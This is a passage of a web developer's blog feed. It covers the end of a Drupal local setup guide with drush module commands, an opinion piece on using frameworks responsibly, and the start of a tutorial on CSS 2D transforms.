&lt;img alt=&quot;Database setup&quot; srcset=&quot;/images/posts/local-dev/local-dev2-480.jpg 480w, /images/posts/local-dev/local-dev2-640.jpg 640w, /images/posts/local-dev/local-dev2-960.jpg 960w, /images/posts/local-dev/local-dev2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/local-dev/local-dev2-640.jpg&quot;&gt;&lt;/li&gt;
&lt;li&gt;Drupal should start installing.
&lt;img alt=&quot;Installation running&quot; srcset=&quot;/images/posts/local-dev/local-dev3-480.jpg 480w, /images/posts/local-dev/local-dev3-640.jpg 640w, /images/posts/local-dev/local-dev3-960.jpg 960w, /images/posts/local-dev/local-dev3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/local-dev/local-dev3-640.jpg&quot;&gt;&lt;/li&gt;
&lt;li&gt;Set up the user 1 account. This account is the superadmin account which can access everything on the site.
&lt;img alt=&quot;Install&quot; srcset=&quot;/images/posts/local-dev/local-dev4-480.jpg 480w, /images/posts/local-dev/local-dev4-640.jpg 640w, /images/posts/local-dev/local-dev4-960.jpg 960w, /images/posts/local-dev/local-dev4-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/local-dev/local-dev4-640.jpg&quot;&gt;&lt;/li&gt;
&lt;li&gt;Your site should be successfully set up.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p class=&quot;no-margin&quot;&gt;You may also need to develop multiple sites concurrently on your machine, and this will require more steps to setup that I will not cover here, but you can check out the following articles to point you in the right direction.&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.geeksengine.com/article/apache-multiple-local-websites.html&quot;&gt;How to use Apache Virtual Host to run multiple local websites on Windows&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://web.archive.org/web/20161227221914/http://brockboland.com/2009/12/running-multiple-sites-mamp&quot;&gt;Running Multiple Sites in MAMP&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.wpwhitesecurity.com/wordpress-tips-webmasters/multiple-websites-xampp/&quot;&gt;How to run multiple websites on XAMPP on Windows&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Initial module installation&lt;/h2&gt;
&lt;p class=&quot;no-margin&quot;&gt;There are a number of modules that are so regularly used that they are default installs for every Drupal site I build. With Drush installed, you can easily install all these modules from your command line.
To double check that Drush is installed correctly on your system, navigate to the root of your Drupal installation and run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush status
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should see something like this:&lt;/p&gt;
&lt;img alt=&quot;Install&quot; srcset=&quot;/images/posts/local-dev/drush-480.jpg 480w, /images/posts/local-dev/drush-640.jpg 640w, /images/posts/local-dev/drush-960.jpg 960w, /images/posts/local-dev/drush-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/local-dev/drush-640.jpg&quot;&gt;
&lt;p class=&quot;no-margin&quot;&gt;The modules are as follows:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/admin_menu&quot;&gt;Administration menu&lt;/a&gt; -&amp;gt; A better version of the administration toolbar that ships with Drupal&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/devel&quot;&gt;Devel&lt;/a&gt; -&amp;gt; Helper module for development. Allows use of the dpm() function, which is the equivalent of console.log() in JavaScript, dummy content generation and so on.&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/views&quot;&gt;Views&lt;/a&gt; -&amp;gt; Used for displaying the content on the site in all manner of configurations&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/ctools&quot;&gt;Ctools&lt;/a&gt; -&amp;gt; Dependency for views&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/token&quot;&gt;Token&lt;/a&gt; -&amp;gt; For using placeholders in content, urls, etc.&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/pathauto&quot;&gt;Pathauto&lt;/a&gt; -&amp;gt; The standard for automatic path aliasing&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/ds&quot;&gt;Display suite&lt;/a&gt; -&amp;gt; For adding advanced field configuration and layout control for node pages (and other entities)&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/libraries&quot;&gt;Libraries&lt;/a&gt; -&amp;gt; An API module for modules, allows for better management of external libraries&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/date&quot;&gt;Date&lt;/a&gt; -&amp;gt; Adds a date field type to Drupal&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/smart_trim&quot;&gt;Smart trim&lt;/a&gt; -&amp;gt; Allows for better management of summary content displays&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.drupal.org/project/registry_rebuild&quot;&gt;Registry Rebuild&lt;/a&gt; -&amp;gt; To rebuild the registry (a list of PHP classes and the files they go with)&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;no-margin&quot;&gt;Download and enable them by using the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush en admin_menu devel views views_ui ds ds_ui ctools token pathauto date libraries smart_trim registry_rebuild -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;If you want to select the module version, then it&apos;d be better if you used this command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush dl admin_menu devel views ctools token pathauto date libraries smart_trim ds registry_rebuild --select
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is by no means a definitive list of default modules to install. Every developer will have their own list of go-to modules as part of the site setup process. These are just some suggestions for you to start off with if you&apos;ve never built Drupal sites before.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;In addition to installing and enabling modules, I will also disable a few of Drupal&apos;s core modules. Again, this is a purely optional step. I find the overlay interface for site configuration rather annoying. The default admin toolbar is a bit limited for my liking as well, so I use the Administration menu (mentioned above) instead. Run this command to disable both:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush dis overlay toolbar -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Other modules will be installed depending on the requirements of the site. The guiding principle of building Drupal sites is to limit the amount of custom code written. Module selection is an integral part of building a Drupal site.&lt;/p&gt;
&lt;p&gt;If the particular functionality is relatively niche, it makes sense to examine the usage statistics of the module, the number of open issues it has and if there are any critical bugs.&lt;/p&gt;
&lt;p&gt;The good thing is that the community often writes patches to fix bugs, so &lt;a href=&quot;https://www.drupal.org/&quot;&gt;Drupal.org&lt;/a&gt; is a valuable resource throughout the development process. Another place to get help with Drupal issues is &lt;a href=&quot;http://drupal.stackexchange.com/&quot;&gt;Drupal Answers&lt;/a&gt;, which is basically Stack Overflow for Drupal.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Additional developer-friendly tweaks&lt;/strong&gt;&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Add the following three lines to your settings.php file.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;error_reporting(E_ALL);
ini_set(&apos;display_errors&apos;, TRUE);
ini_set(&apos;display_startup_errors&apos;, TRUE);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This turns on error reporting, which is extremely helpful when developing. Otherwise, you will just end up with a white screen and not know what&apos;s wrong. However, when it comes to deploying your site to a live production environment, these lines should be removed.&lt;/p&gt;
&lt;h2&gt;Wrap-up&lt;/h2&gt;
&lt;p&gt;Every developer has their own preferred workflows and processes, and this is mine. Hopefully there are some bits you find helpful and can incorporate into your own Drupal development workflow.&lt;/p&gt;
</content:encoded></item><item><title>Frameworks and libraries are not the problem, people are</title><link>https://chenhuijing.com/blog/people-are-the-problem/</link><guid isPermaLink="true">https://chenhuijing.com/blog/people-are-the-problem/</guid><description>I&apos;ll be the first to admit that I&apos;m definitely not the best developer around, not by a long shot. But being a web developer is a dream job to me. I really love…</description><pubDate>Sun, 02 Aug 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;ll be the first to admit that I&apos;m definitely not the best developer around, not by a long shot. But being a web developer is a dream job to me. I really love doing this, and I get paid for it? Double awesome.&lt;/p&gt;
&lt;p&gt;I&apos;ve had non-developer friends walk by my screen after hours and ask, why are you still working? To which I say, this isn&apos;t work stuff, it&apos;s my own thing. The most common response is, &amp;quot;your screen looks exactly the same as when you actually are working&amp;quot;, usually accompanied with an eye-roll.&lt;/p&gt;
&lt;p&gt;I feel that I started coding pretty late. I didn&apos;t learn to program on a 486 running DOS when I was a kid. I only grasped HTML and CSS for real around three years ago. Before that, I was the web development equivalent of a script-kiddy, copying and pasting Frankenstein code to &amp;quot;build&amp;quot; websites.&lt;/p&gt;
&lt;p&gt;When I realised that web development was actually a form of gainful employment, I figured I&apos;d better get good at it. And that&apos;s when I began my daily diet of all things web design and development.&lt;/p&gt;
&lt;p&gt;Articles, podcasts, books and videos (more or less in that order) have taught me a tonne over the past two years. But nothing beats actually writing code and developing websites with a team. Experience is everything.&lt;/p&gt;
&lt;h2&gt;What are these framework thingys you speak of?&lt;/h2&gt;
&lt;p&gt;When I started out, I simply couldn&apos;t understand what a framework was. Somehow my little brain just couldn&apos;t compute the concept. It sounds weird, but that&apos;s just how it was. Now I&apos;ve sort of settled in on the definition that frameworks are like pre-built components.&lt;/p&gt;
&lt;p&gt;All frameworks are based on their respective languages. Being a front-end developer, I&apos;m going to talk more about JavaScript and CSS frameworks. So frameworks like Bootstrap and Foundation, to me, are libraries of pre-built components you can use to build your website.&lt;/p&gt;
&lt;p&gt;But at their core, it&apos;s simply just HTML, CSS and JavaScript. Libraries and plugins function the same way. They consist of pre-written code which provide various functionalities that other developers can just add to their own projects without having to spend the time coding their own.&lt;/p&gt;
&lt;p&gt;But this is what I love about the web. Most people open-source their code and share it with other developers. Want a responsive navigation menu? I&apos;m sure there are at least twenty different plugins (I didn&apos;t really check) that you can use, take your pick.&lt;/p&gt;
&lt;p&gt;Want some lightbox functionality for your image gallery? I&apos;m pretty sure there are even more plugins for that. But sometimes, this easy availability can have its detriments as well.&lt;/p&gt;
&lt;h2&gt;Get the basics down pat before even touching frameworks&lt;/h2&gt;
&lt;p&gt;I&apos;m of the opinion that before we use libraries and frameworks, we really should know how to write those functionalities on our own first. It is very important that we really understand the vanilla language we&apos;re working with before we tack on all these fancy frameworks.&lt;/p&gt;
&lt;p&gt;Frameworks and libraries are there to help shorten development time but not at the expense of performance and code quality. Like the title says though, frameworks and libraries are not the problem, it&apos;s the people who use them who cause problems.&lt;/p&gt;
&lt;p&gt;If you&apos;re someone who is just starting out with building websites, I strongly advise against using a framework. Code in vanilla HTML, CSS and JavaScript. If you find programming daunting (as did I), you can do what I did, avoid JavaScript.&lt;/p&gt;
&lt;p&gt;Admittedly, that&apos;s probably not the best advice, but for at least a year, I just didn&apos;t use any JavaScript in my websites. At the time, I just couldn&apos;t get it. But I could get CSS, and by that time, CSS3 was totally mainstream already.&lt;/p&gt;
&lt;p&gt;So I totally got away with avoiding JavaScript because it was possible to do a lot of things with pure CSS that weren&apos;t possible before. That actually helped me gain a really deep understanding of CSS, because I stubbornly refused to touch JavaScript. Something that could have easily been done with JavaScript, I chose to spend hours trying to do it in only CSS.&lt;/p&gt;
&lt;p&gt;Because of that, I managed to learn a lot about the ins and outs of CSS, not to mention I actually read the &lt;a href=&quot;http://www.w3.org/Style/CSS/specs.en.html&quot;&gt;CSS specifications&lt;/a&gt; (not all of them, of course), and realised that they&apos;re actually very readable.&lt;/p&gt;
&lt;p&gt;It&apos;s not technical mumbo-jumbo at all, just plain simple English. The &lt;a href=&quot;http://www.w3.org/TR/html5/&quot;&gt;HTML specifications&lt;/a&gt; are also quite a good read, for anyone who is interested.&lt;/p&gt;
&lt;h2&gt;There&apos;s a right way and a wrong way to use frameworks&lt;/h2&gt;
&lt;p&gt;Over the course of my career, I have had to work on projects that had been built with Bootstrap. I&apos;d like to once again emphasise that Bootstrap is not the problem, it&apos;s how people use Bootstrap that is problematic.&lt;/p&gt;
&lt;p&gt;I once inherited a project that loaded Bootstrap and jQuery, as well as jQuery UI, and amazingly, a bunch of other plugins that provided functionality which was already available in those other two libraries.&lt;/p&gt;
&lt;p&gt;My first thought was, what in the world is going on? The CSS alone was five times larger than my entire homepage. The HTML was nested six to seven levels deep, with an alphabet soup of classes, both custom and from Bootstrap itself.&lt;/p&gt;
&lt;p&gt;The CSS was also full of repeat selectors, contributing to the bloat. The clincher was that the site only needed the navigation and grid functionality from Bootstrap. All the other stuff was &lt;em&gt;unused&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Now I&apos;ve read a lot of discourse for and against using frameworks and I find merit in both sides of the argument. In fact, that&apos;s how I came to the conclusion that the frameworks and libraries themselves are not to blame, but rather how they are being used.&lt;/p&gt;
&lt;p&gt;There are too many &amp;quot;developers&amp;quot; who simply build websites using Bootstrap or Foundation without actually understanding the underlying CSS and JavaScript. Imagine you&apos;re building a house.&lt;/p&gt;
&lt;p&gt;Bootstrap provides you with stuff like doors, windows and floor tiles that are already painted and ready for use. People who don&apos;t understand Bootstrap and CSS take the already painted door, and paint their own colours over the original. To be honest, I&apos;d rather build my own door.&lt;/p&gt;
&lt;p&gt;The thing is, full-fledged frameworks like Bootstrap and Foundation are going to be bloated because they cover everything, from responsive navigation, to modals and popovers, to embedded media and so on. Odds are, your website doesn&apos;t even use 80% of those components.&lt;/p&gt;
&lt;p&gt;That&apos;s not Bootstrap&apos;s fault. The frameworks offer you the ability to only pick the stuff you need. People who don&apos;t bother to familiarise themselves with Bootstrap&apos;s underlying code will find it very difficult to do this. There are a number of dependencies between components, but that&apos;s what the documentation is for.&lt;/p&gt;
&lt;p&gt;As someone who has written her fair share of technical documentation, I strongly urge ALL developers to read the documentation of whatever language, framework or library they use. All that documentation is HARD WORK. Give the developer some credit and appreciation.&lt;/p&gt;
&lt;h2&gt;If you can&apos;t write vanilla code, you can&apos;t use a framework&lt;/h2&gt;
&lt;p&gt;There should be (although I know it&apos;ll never come to pass) a rule that says, until you can write the functionality yourself in the vanilla language you&apos;re developing in, no framework goodness for you.&lt;/p&gt;
&lt;p&gt;Frameworks should only be used by people who already know how to write the code, but just want the time-saving benefits. Using frameworks is like driving.&lt;/p&gt;
&lt;p&gt;Anyone can drive, but can you drive responsibly? Don&apos;t be that teenager who speeds while texting and chugging a six-pack. Even if you don&apos;t kill yourself, you&apos;ll end up killing other innocent people around you.&lt;/p&gt;
&lt;p&gt;My personal challenge is to be able to write all the functionality I currently use via jQuery in vanilla JavaScript. &lt;a href=&quot;http://blog.garstasio.com/you-dont-need-jquery/&quot;&gt;You Don&apos;t Need jQuery!&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/RayNicholus&quot;&gt;Ray Nicholus&lt;/a&gt; is my go-to resource for this.&lt;/p&gt;
&lt;p&gt;I&apos;m also reading &lt;a href=&quot;http://shop.oreilly.com/product/9780596517748.do&quot;&gt;JavaScript: The Good Parts&lt;/a&gt; by &lt;a href=&quot;http://www.crockford.com/&quot;&gt;Douglas Crockford&lt;/a&gt;. Why go through all the trouble when most of the functionality we use has already been written by someone else? Because if you can&apos;t write it yourself, you probably don&apos;t know enough about the language.&lt;/p&gt;
&lt;p&gt;And when you run into conflicts and inexplicable errors, especially if you&apos;re using a jumble of plugins written by different people, your project is just going to be troubleshooting nightmare. Any time-savings you got from not writing code will not be enough to figure out how to get your monster spaghetti code project to work.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Some of these things I just needed to get off my chest. But I&apos;m really against writing bad code. I don&apos;t write the best code, but I do believe that perfection is something worth chasing. We&apos;ll never be perfect. That&apos;s a fact.&lt;/p&gt;
&lt;p&gt;The only reason one would continue to pursue perfection in spite of that is to enjoy the process of pursuing perfection. Sure I get that for some people, web development is just a paycheck, and to me, that&apos;s very sad. I guess I&apos;m just lucky to love what I do.&lt;/p&gt;
&lt;p&gt;Maybe that&apos;s the athlete in me speaking, but I truly believe that we should take pride in the work we do and not just go through the motions. Keep on hustling, people.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image from &lt;a href=&quot;https://omundy.wordpress.com/2012/11/01/i-will-not-write-any-more-bad-code/&quot;&gt;ART, DESIGN, CODE by Owen Mundy&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>The basics of CSS transforms: Part 1</title><link>https://chenhuijing.com/blog/basics-of-css-transforms/</link><guid isPermaLink="true">https://chenhuijing.com/blog/basics-of-css-transforms/</guid><description>The specification for CSS transforms had been in the works since 2009. There were separate specifications for CSS 2D transformations, CSS 3D transformations…</description><pubDate>Sun, 26 Jul 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The specification for CSS transforms had been in the works since 2009. There were separate specifications for CSS 2D transformations, CSS 3D transformations and SVG transformations but they have all since converged into a single specification called the &lt;a href=&quot;http://www.w3.org/TR/css-transforms-1/&quot;&gt;CSS Transforms Module Level 1&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Browser support for 2D transforms is very good, with all major browsers fully supporting it at least two versions back (sorry, but IE8 is really old now). Browser support for 3D transforms is also reasonably robust. All major browsers, aside from Internet Explorer, fully support it at least two versions back.&lt;/p&gt;
&lt;p&gt;Internet Explorer 10 onwards supports everything except &lt;code&gt;transform-style: preserve-3d&lt;/code&gt;. So no nesting of 3D transformed elements, but other than that, all is good.&lt;/p&gt;
&lt;p&gt;There&apos;s quite a lot to CSS transforms so there&apos;ll be multiple parts to this article. This part will cover the basics of why we should use CSS transforms as well as how 2D transforms work.&lt;/p&gt;
&lt;h2&gt;It&apos;s all about performance&lt;/h2&gt;
&lt;p&gt;Performance has always been an aspect of web development (and design) that is very important to me. You know those developers who test sites on &lt;a href=&quot;https://developers.google.com/speed/pagespeed/insights/&quot;&gt;PageSpeed Insights&lt;/a&gt;, &lt;a href=&quot;http://tools.pingdom.com/fpt/&quot;&gt;Pingdom&lt;/a&gt;, &lt;a href=&quot;https://gtmetrix.com/&quot;&gt;GTMetrix&lt;/a&gt; AND &lt;a href=&quot;http://www.webpagetest.org/&quot;&gt;WebPageTest&lt;/a&gt;?&lt;/p&gt;
&lt;p&gt;I&apos;m one of those people (or maybe I&apos;m the only weirdo who does that, please don&apos;t judge). But recently, I&apos;ve become very interested in animation on the web, largely from the most recent &lt;a href=&quot;http://thewebahead.net/103&quot;&gt;The Web Ahead&lt;/a&gt; episode with &lt;a href=&quot;http://rachelnabors.com/&quot;&gt;Rachel Nabors&lt;/a&gt;. It&apos;s a fascinating episode, especially the part which discusses the science behind how the human brain processes the animations we see.&lt;/p&gt;
&lt;p&gt;The issue of &lt;a href=&quot;http://jankfree.org/&quot;&gt;jank&lt;/a&gt; was also discussed. If you&apos;ve ever heard the term 60 frames per second (fps) being thrown around conversations between front-end developers, this is what we&apos;re talking about. Most devices today have a screen refresh rate of 60 frames per second.&lt;/p&gt;
&lt;p&gt;To have smooth motion on the screen, the browser should match that refresh rate. Jank is just a term we coined up to describe any stuttering during the animation, mostly because the animation can&apos;t keep up with the refresh rate of the screen.&lt;/p&gt;
&lt;h2&gt;How browsers render stuff&lt;/h2&gt;
&lt;p&gt;What does this have to do with CSS transforms? Oh, everything. First, we need to have some understanding of how browser rendering works. The definitive primer on &lt;a href=&quot;http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/&quot;&gt;how browsers work&lt;/a&gt; by &lt;a href=&quot;http://taligarsiel.com/&quot;&gt;Tali Garsiel&lt;/a&gt; is required reading for all web developers, in my humble opinion.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Every browser has a rendering engine, which displays content onto the screen. Each of the major browsers use a different rendering engine. Firefox uses &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Gecko&quot;&gt;Gecko&lt;/a&gt;, Internet Explorer uses &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/aa741312(v=vs.85).aspx&quot;&gt;Trident&lt;/a&gt;, Safari uses &lt;a href=&quot;https://www.webkit.org/&quot;&gt;WebKit&lt;/a&gt; and Chrome and Opera (from version 15 onwards) uses &lt;a href=&quot;http://www.chromium.org/blink&quot;&gt;Blink&lt;/a&gt;, which is a fork of WebKit. In a very condensed nutshell, this is what happens:&lt;/p&gt;
&lt;ol&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Browser parses HTML elements into the DOM tree&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Browser parses style data to construct render tree&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Browser lays out the render tree by generating the geometry and position for each element&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Browser paints the render tree by filling out pixels for each element into layers&lt;/li&gt;
  &lt;li&gt;Browser composites the layers, i.e. puts them together and draws them out to the screen&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Not all the things should be animated&lt;/h2&gt;
&lt;p&gt;Because this is a waterfall process, making changes to processes near the beginning make the browser work harder than those that come later. Different CSS properties trigger the browser differently. But those that affect layout are the most &amp;quot;expensive&amp;quot; and those that affect compositing are relatively much &amp;quot;cheaper&amp;quot;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.paulirish.com/&quot;&gt;Paul Irish&lt;/a&gt; created &lt;a href=&quot;http://csstriggers.com/&quot;&gt;CSS Triggers&lt;/a&gt;, which is a site that documents the behaviour of all the CSS properties. There are only two properties that trigger compositing alone when changed, &lt;code&gt;opacity&lt;/code&gt; and &lt;code&gt;transform&lt;/code&gt;, which is why the most performant animations are done using these two properties.&lt;/p&gt;
&lt;p&gt;The good thing is that almost all animations on the web can be accomplished with these two properties alone. The meat of the animations would be covered with the &lt;code&gt;transform&lt;/code&gt; property so it&apos;s good to know exactly how it works and what it can do.&lt;/p&gt;
&lt;h2&gt;Basic terminology for CSS transforms&lt;/h2&gt;
&lt;p&gt;One thing to note is that transforms &lt;strong&gt;don&apos;t work on inline elements&lt;/strong&gt;. The &lt;a href=&quot;http://www.w3.org/TR/css-transforms-1/&quot;&gt;specification&lt;/a&gt; explains transformable elements as block and inline-block elements, as well as elements whose display property resolve to &lt;code&gt;table-row&lt;/code&gt;, &lt;code&gt;table-row-group&lt;/code&gt;, &lt;code&gt;table-header-group&lt;/code&gt;, &lt;code&gt;table-footer-group&lt;/code&gt;, &lt;code&gt;table-cell&lt;/code&gt; or &lt;code&gt;table caption&lt;/code&gt;. SVG elements can also be transformed.&lt;/p&gt;
&lt;p&gt;Transforms are also cumulative, meaning the element will aggregate all the transform properties of its ancestors and itself to define a current transformation matrix. The transformation matrix is computed from the &lt;code&gt;transform&lt;/code&gt; and &lt;code&gt;transform-origin&lt;/code&gt; properties.&lt;/p&gt;
&lt;p&gt;Coordinate systems are how the browser knows where everything is supposed to be laid out. Every document viewport has its own coordinate system. The x-axis goes from left to right, while the y-axis goes from top to bottom. The top left corner is represented by (0, 0).&lt;/p&gt;
&lt;p&gt;There is also a z-axis, which goes into the screen from the perspective of the user. An element with a transform property establishes its own local coordinate system, with an origin point right on the centre of the element, (50%, 50%).&lt;/p&gt;
&lt;img alt=&quot;Transform default origin&quot; srcset=&quot;/images/posts/css-transforms/origin@2x.jpg 2x&quot; src=&quot;/images/posts/css-transforms/origin.jpg&quot;&gt;
&lt;p class=&quot;no-margin&quot;&gt;You can change this origin point using the `transform-origin` property as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.some-element {
  transform-origin: (100px 25px);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Note: I use Autoprefixer when I compile my Sass files so my syntax will be prefix-free in all the examples.&lt;/em&gt;&lt;/p&gt;
&lt;img alt=&quot;Transform origin at (70px 100px)&quot; srcset=&quot;/images/posts/css-transforms/origin2@2x.jpg 2x&quot; src=&quot;/images/posts/css-transforms/origin2.jpg&quot;&gt;
&lt;p&gt;Any coordinates specified will be computed based on the transform origin at (100px 25px), as seen from the second point in the diagram.&lt;/p&gt;
&lt;h2&gt;2D transform functions&lt;/h2&gt;
&lt;p&gt;There are 4 types of 2D transform functions, &lt;code&gt;translate()&lt;/code&gt;, &lt;code&gt;scale()&lt;/code&gt;, &lt;code&gt;rotate()&lt;/code&gt; and &lt;code&gt;skew()&lt;/code&gt;. Every transform has an equivalent &lt;code&gt;matrix()&lt;/code&gt; function, which specifies a 2D transformation in the form of a transformation matrix of six values. Calculations for 2D transforms are made on a 3x3 matrix.&lt;/p&gt;
&lt;p&gt;For a full explanation of the math behind CSS transforms, check out &lt;a href=&quot;https://dev.opera.com/articles/understanding-the-css-transforms-matrix/&quot;&gt;Understanding the CSS Transforms Matrix&lt;/a&gt; by &lt;a href=&quot;http://tiffanybbrown.com/&quot;&gt;Tiffany Brown&lt;/a&gt;. In a nutshell, the &lt;code&gt;matrix()&lt;/code&gt; function is shorthand for you want to apply multiple transforms on a single element.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;transform: rotate()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;rotate()&lt;/code&gt; allows you to rotate an element around its transform-origin by the angle specified in degrees. Positive values rotate the element in a clockwise direction and negative values rotate the element in an anti-clockwise direction. You can play around with the sliders below and see what happens if you change the transform-origin.&lt;/p&gt;
&lt;p data-height=&quot;350&quot; data-theme-id=&quot;9162&quot; data-slug-hash=&quot;GJXLJw&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; class=&apos;codepen&apos;&gt;See the Pen &lt;a href=&apos;http://codepen.io/huijing/pen/GJXLJw/&apos;&gt;CSS transforms - rotate property&lt;/a&gt; by Chen Hui Jing (&lt;a href=&apos;http://codepen.io/huijing&apos;&gt;@huijing&lt;/a&gt;) on &lt;a href=&apos;http://codepen.io&apos;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;transform: scale()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;scale()&lt;/code&gt; allows you to grow or shrink an element from its transform-origin. It take in two parameters, [sx, sy], where &lt;code&gt;sx&lt;/code&gt; scales the element along the x-axis and &lt;code&gt;sy&lt;/code&gt; scales the element along the y-axis. If no value is supplied for &lt;code&gt;sy&lt;/code&gt;, it will take a value equal to &lt;code&gt;sx&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Any values greater than one will grow the element while values between zero and one will shrink it. Positive values transform from left to right and top to bottom, while negative values transform from right to left and bottom to top.&lt;/p&gt;
&lt;p&gt;This is easier to understand by adjusting the sliders below. You can also specify &lt;code&gt;scaleX()&lt;/code&gt; or &lt;code&gt;scaleY()&lt;/code&gt; which grow or shrink the element along the x-axis and y-axis respectively. For &lt;code&gt;scaleX()&lt;/code&gt;, only the &lt;em&gt;x-coordinate&lt;/em&gt; of the transform origin is relevant, and for &lt;code&gt;scaleY()&lt;/code&gt;, only the &lt;em&gt;y-coordinate&lt;/em&gt; is relevant.&lt;/p&gt;
&lt;p data-height=&quot;350&quot; data-theme-id=&quot;9162&quot; data-slug-hash=&quot;mJGYzr&quot; data-default-tab=&quot;result&quot; data-user=&quot;huijing&quot; class=&apos;codepen&apos;&gt;See the Pen &lt;a href=&apos;http://codepen.io/huijing/pen/mJGYzr/&apos;&gt;CSS transforms - scale property&lt;/a&gt; by Chen Hui Jing (&lt;a href=&apos;http://codepen.io/huijing&apos;&gt;@huijing&lt;/a&gt;) on &lt;a href=&apos;http://codepen.io&apos;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;transform: translate()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;translate()&lt;/code&gt; allows you to move the element in any direction based on the x and y coordinates specified. It takes in two parameters, [tx, ty], where &lt;code&gt;tx&lt;/code&gt; translates the element along the x-axis and &lt;code&gt;ty&lt;/code&gt; translates the element along the y-axis. &lt;code&gt;ty&lt;/code&gt; is an optional value, and if not supplied, will take the value of zero.&lt;/p&gt;
&lt;p&gt;For &lt;code&gt;translateX()&lt;/code&gt;, the translation only takes place on the x-axis and for &lt;code&gt;translateY()&lt;/code&gt;, the translation only takes place on the y-axis.&lt;/p&gt;
